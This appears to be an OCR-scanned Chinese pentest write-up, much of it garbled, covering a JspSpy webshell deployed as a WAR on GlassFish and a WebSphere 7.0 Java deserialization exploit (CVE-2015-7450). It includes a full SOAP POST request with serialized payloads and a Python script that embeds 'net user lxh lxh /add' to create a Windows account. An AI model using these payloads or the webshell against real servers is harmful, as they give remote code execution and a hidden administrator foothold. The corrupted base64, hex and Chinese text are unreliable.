€« > C O O 127.00.1:8080/Ixhsec/lxhspy jsp & % B toS 6da
127.0.0.1:8080 (172.26.208.1) | copy. JspSpy Ver: 2009 Prival

Env

File Manager - Current disk "C:\" total (unknow)

Current Directory |C:/Users/Ixhsec/Downloads/glashh/g| glassfish/domains/domain1/applications/Ixhspy m
Web Root | Shell Directory | New Directory | New File | Disk(C-/) | Disk{D-/} | Disk(E-/) | Disk{F:/) [zmx | ramaazs m
Name Last Modified Size Read/Write/Execute

= Goto Parent

1 METAINE 2019-06-22 11:18:25 - true / true / unknow Del | Move | Pack
Ixhspy.jsp 2019-06-22 11:18:25 135.77K true / true / unknow Edit | Down | Copy | Move | Property | Enter | Pack
Pack Selected - Delete Selected 1 directories / 1 files

Copyright (C) 2009 http//www Forjj.com/ [T00Is Nef] All Rights Reserved

* bxhspy.war - Bandizip 6.21
XAHE) EEE(D) EIR() EmQ) MEN) #ENH)

0-8-0 3 C

17 Er 3
[] Ixhspy.war BiR v EREAAN [ 2 [EEEE
META-INF META-INF 2019/6/8 16:3C
[ Ixhspy.jsp 26,551 139,031 JSP 3T 2019/6/8 16:3C

Note: 5425 F 5 AN ¥ B ik 5 A b £ [ 37 8 5%, (H R @2 Ui i 427~ B #i% . Configuration Error Secure Admin must be enabled to access
the DAS remotely

BEREW

AATFIUG B4IMNA,
2T B W A KSR, NESER, BT, BT, ARKERT1060.

WebSphere

WebSphere® Application Server s A8 A+ #i i RE T RIUR S, B 0] LS Ik PRI AE A6 397 1 80 FH R e ok 4 Bh A L AR (L= 8 (P A58 . AT I ks v 1
IR EAT R, DMESE LR B T TR S AR AL Th BRI R A R e

T #4%4£7.0 WebSphere

fRac

Server: WebSphere Application Server/7.0
R :

http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp

Javajx Jr 51/t (CVE-2015-7450)

V517188803 171, HBLAF S, T AT 7EJava [T 5L I

Tttps://192. 168,31 12:6880/

B m> e {merderep redowerd, Ja livk svisited { color: 3608228, olor | @000 B lwea & 4@ 15 &8 @l- & - 0-a B~ G- 9 =
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<B0AP—ENV:Envelope>
<S0AP—ENV:Header ns0:#ASRemoteRuntimeVersion="7.0 0. 7" ns0: JWXMessageVersion="1.0 0" nsO:JMXVersion="1.2.0"> </SOAP-ENV:Header>
= <SO0AP-ENV:Body>
— <SOAP-ENV:Faul t>
<faul tcode>S0AP-ENY :Server</faul tcode>
=<faul tstring>
rOOABXNyAB T vemeuYKBhY 2h I Lnky Y XALUODBUEY 4Y 2YwdG vbhEP0 i i sHQpi AgACTAAJZNF 1 bHRDL2R | dAAST GhdmErvkbGR uZy 8T dHdpbne 7TARPAGRy 22V 0RIh | ZXB OaltBudAAY TGphdmEvhGF uZy BUaHdv d2F | bGU7eH | AE2phdmE
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</faul tstring>
<faul tactor>/</faul tactor>
</S0AP—ENY:Faul t>
</SOAP—ENV:Body>
</SOAP-ENV:Envelope>
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POST / HTTP/1.1

Host: 192.168.31.12:8880

User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*%;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Content-Type: text/xml


http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp

SOAPAction: urn:AdminService
Content-Length: 8886

<?xml version='1.8"' encoding="UTF-8'?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance" xml
<SOAP-ENV:Header ns@:JMXConnectorContext="r0OABXNyAASqYXZhLnV@aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnVOaWwuVmVjdG9y2Zd9W4A7rwEDAANIABFJY.
</SOAP-ENV:Header>

<SOAP-ENV:Body>

<nsl:invoke xmlns:nsl="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<objectname xsi:type="nsl:javax.management.ObjectName">rO@ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdEShbWUPA6cb620VZWMAAHhWdACXV2ViU3B0oZXI1(
<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>

<params xsi:type="nsl:[Ljava.lang.Object;">r00ABXNyADIzdW4ucmVmbGVjdC5hbm5vdGF@aW9uLkFubm9@YXRpb25IbnZvY2F@aWIuSGFuZGx1c1XK9Q8Vy361AgAC
<signature xsi:type="nsl:[Ljava.lang.String;">r0O@ABXVyABNbTGphdmEubGFuzZy5TdHIpbmc7rdIW5+kde@cCAABACAAAAAFOACRjb2BuaWItLndlYnNwaGVyZS5tY!
</nsl:invoke>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>
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Done w700 bytes

WA B E AT IS, A R ARED, AASfEpython3 R BT o

import base64

from binascii import unhexlify

command = "net user 1xh 1lxh /add"

serObj = unhexlify("ACED@@®57372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657
serObj += (chr(len(command)) + command).encode('ascii')

serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F7818738¢

serObjB64 = base64.b64encode(serObj).decode()
print(ser0ObjB64)
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F4in i serObjB64, #1431 |- fiPayload (fiparams™i i, 3L
<params xsi:type="nsl:[Ljava.lang.Object;">{serObjB64}</params>
5] 52 2 % DeserializeExploit.jar(laster)
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